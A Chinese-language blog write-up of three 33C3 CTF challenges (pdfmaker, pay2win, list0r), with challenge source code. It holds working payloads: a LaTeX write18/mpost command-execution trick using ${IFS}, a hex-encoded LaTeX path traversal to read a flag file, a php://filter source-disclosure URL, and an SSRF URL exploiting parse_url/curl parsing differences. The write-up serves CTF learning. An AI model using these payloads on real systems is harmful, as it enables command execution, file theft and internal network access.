LoRexxar's Blog | 信息技术分享

33c32016 writeup

2017/01/03

16年的最后几天看了看33c3的题目…没想到的是这个比赛质量奇高,ctftime最后权重超过90,可惜期末了所以来不及好好打,还是挺可惜的….

pdfmaker

1
2
3
4
5
6
7
pdfmaker (75)

Solves: 133

Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

先贴两篇别人的博客
https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker

https://ssspeedgit00.github.io/2016/12/30/2016-33c3-m1/

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess

class PdfMaker:

def cmdparse(self, cmd):
fct = {
'help': self.helpmenu,
'?': self.helpmenu,
'create': self.create,
'show': self.show,
'compile': self.compilePDF,
'flag': self.flag
}.get(cmd, self.unknown)
return fct

def handle(self):
self.initConnection()
print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
instruction_counter = 0
while(instruction_counter < 77):
try:
cmd = (raw_input("> ")).strip().split()
if len(cmd) < 1:
continue
if cmd[0] == "exit":
self.endConnection()
return
print self.cmdparse(cmd[0])(cmd)
instruction_counter += 1
except Exception, e:
print "An Exception occured: ", e.args
self.endConnection()
break
print "Maximum number of instructions reached"
self.endConnection()

def initConnection(self):
cwd = os.getcwd()
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
while os.path.exists(self.directory):
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
os.makedirs(self.directory)
flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) + "%X" % randint(0, 2**31)
copyfile("flag", flag)


def endConnection(self):
if os.path.exists(self.directory):
rmtree(self.directory)

def unknown(self, cmd):
return "Unknown Command! Type 'help' or '?' to get help!"

def helpmenu(self, cmd):
if len(cmd) < 2:
return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
if (cmd[1] == "create"):
return (" Create a file. Syntax: create TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)\n"
" The created file will have the name NAME.TYPE")
elif (cmd[1] == "show"):
return (" Shows the content of a file. Syntax: show TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)")
elif (cmd[1] == "compile"):
return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
" NAME: name of the file (without type ending)")

def show(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help show' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"

filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)

if full_filename.startswith(self.directory) and os.path.exists(full_filename):
with open(full_filename, "r") as file:
content = file.read()
else:
content = "File not found."
return content

def flag(self, cmd):
pass

def create(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help create' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"

filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)

if not full_filename.startswith(self.directory):
return "Could not create file."

with open(full_filename, "w") as file:
print "File created. Type the content now and finish it by sending a line containing only '\q'."
while 1:
text = raw_input("");
if text.strip("\n") == "\q":
break
write_to_file = True;
for filter_item in ("..", "*", "/", "\\x"):
if filter_item in text:
write_to_file = False
break
if (write_to_file):
file.write(text + "\n")
return "Written to " + filename + "."

def compilePDF(self, cmd):
if (len(cmd) < 2):
return " Invalid number of parameters. Type 'help compile' to get more info."
filename = cmd[1] + ".tex"
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)

print full_filename
if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
return "Could not compile file."

print pipes.quote(full_filename)
compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
compile_result = subprocess.check_output(compile_command, shell=True)
return compile_result

def signal_handler_sigint(signal, frame):
print 'Exiting...'
pdfmaker.endConnection()
sys.exit(0)

if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler_sigint)

pdfmaker = PdfMaker()
pdfmaker.handle()

稍微研究一下代码,可以发现几个功能
1、create可以创建log, tex, sty, mp, bib后缀的文件,并写入内容
2、内容会经过一次过滤"..", "*", "/", "\\x",这些内容都会被过滤掉
3、show方法可以显示后缀为log, tex, sty, mp, bib的内容
4、compile方法可以把tex后缀的文件编译为pdf,遵循的是pdflatex语法

具体语法可以看
http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html

命令执行读文件

事实上,latex语法中是可以执行shell命令的,具体可以看这篇文章

https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

类似于这样\immediate\write18{ls>out.log},无奈的是,这个方法已经被禁用了

幸运的是,我们还可以创建md格式的create mp test

1
2
3
4
5
6
7
8
9
10
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q

然后写入tex文件,编译执行命令,有个值得注意的是如果直接执行cat file > xxx.log并不会执行,其中空格必须使用${IFS}来替换,调用bash来执行命令,具体如下:

1
2
3
4
5
6
7
 create tex lol

\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q

接着编译,查看对应的log,就可以得到flag了

1
33C3_pdflatex_1s_t0t4lly_s3cur3!

读文件方式

除了编写md格式执行命令以外,事实上还有更多办法来读取文件获取flag,也许你觉得文件名未知,我们没办法来读取flag,但也许你忘记了../../flag这里还有一个flag。

核心问题在于如何绕过..的过滤

在pdflatex语法中,可以用^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67来代替../../flag,那么脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""

编译读取既可

pay2win

1
2
pay2win – Web
Do you have enough money to buy the flag?

整个题目做起来很难受,做了感觉非常像是强行出题…

首先进去我们发现能够购买cheap和flag两个,需要输入一个合理的信用卡号,网上随便找一个信用卡就可以购买cheap,但购买flag时候,就会显示额度不够,然后,这时候理所当然的以为要找个额度大于20万的信用卡号,于是研究了一夜的信用卡种类…

但仔细想可以想到,主办方应该是没有办法判断信用卡的额度的,所以重新审视题目,我们发现如果购买成功的话,data的数据块会发生变化

image_1b5a4fdv5nso1euk4171vh61sk69.png-352.1kB

我们发现按照刚好可以8bit一分,然后购买成功后,中间的部分会发生变化

反复修改可以找到所谓储存文件名的部分,修改那部分getflag。

list0r

ctftime上有2篇文章还是蛮不错的。

https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/

https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r

打开之后随便逛逛,就能发现所有页面是通过包含进来的,那么我们可以通过伪协议来读源码

1
http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile

不得不说,这是个蛮大的站,零零散散功能非常多,但是,仔细观察发现一个比较弱的函数,在functions.php

1
2
3
4
5
6
7
8
9
10
function verify_password($username, $password) {
global $redis;

$user_id = $redis->hget("users", $username);
if ($user_id) {
$real_pass = $redis->hget("user:$user_id", "password");
return $user_id;
}
return FALSE;
}

我们能注意到,这里并没有验证密码,我们可以直接登陆admin用户,进入到用户后,我们发现list有几个提示

image_1b5f9kuqrqaqq4pdolislj9tm.png-43.2kB

我们知道了flag的位置,直接访问我们发现
image_1b5f9mhh41hvf13b0jgq19sv14tc13.png-18.8kB

稍微试下发现这个东西是绕不过去的,所以找找别的东西吧

很快就能发现,这个头像处可以通过提交链接来得到内容,如果我们能绕过这里的话,我们可以成功的构造一个ssrf

image_1b5fa0r9f1tl385i1qc3nj6o2d1g.png-46.1kB

看看代码

1
2
3
4
5
6
7
8
9
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
$pic = get_contents($_POST["pic"]);
if (!is_image($pic)) {
die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
} else {
$pic_name = "profiles/" . sha1(rand());
file_put_contents($pic_name, $pic);
}
}

有个比较关键的是get_content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);

return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

do {
$url_parts = parse_url($url);

if (!array_key_exists("host", $url_parts)) {
die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
}

$host = $url_parts["host"];

if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
debug("Resolved to {$ip}");
} else {
die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
}
}

foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
}
}

// all good, curl now
debug("Curling {$url}");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
& ~CURLPROTO_FILE
& ~CURLPROTO_SCP); // no files plzzz
curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

$data = curl_exec($curl);

if (!$data) {
die("<p><h3 style=color:red>something went wrong....</h3></p>");
}

if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
die("<p><h3 style=color:red>Timeout!! thats a slowass server</h3></p>");
}

// check for redirects
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}

} while (1);
}

仔细看,我们很容易发现,其实存在一些问题,如果获取的内容不是图片,则会显示出来,那么看来,这就是官方留给我们获取flag的方式,那么问题就在于怎么绕过get_content的验证了。

我们发现,貌似是拦截了任何请求本地的方式,但是ip的验证是通过parse_url来判断的,请求是通过curl完成的。

这里提到了2种方式来解决,首先是第一种,通过提供用户名密码的绕过方式,payload:

1
2
3
4
5
6
7
8
9
10
11
http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag

php 将会这么解析

array (
'scheme' => 'http',
'host' => '33c3ctf.ccc.ac',
'user' => 'what',
'pass' => 'ever@127.0.0.1:80',
'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

但是在curl看来并不是这样的,链接会被解析为,what是用户名,ever是密码,host为127….

所以我们获取得了flag

还有一种看上去是通过所谓的负载均衡的实现的,但具体不是很清楚,不知道怎么实验一下
image_1b5fb5vmq16toguhf5c1t1m1g121t.png-12.4kB

CATALOG
  1. 1. pdfmaker
    1. 1.1. 命令执行读文件
    2. 1.2. 读文件方式
  2. 2. pay2win
  3. 3. list0r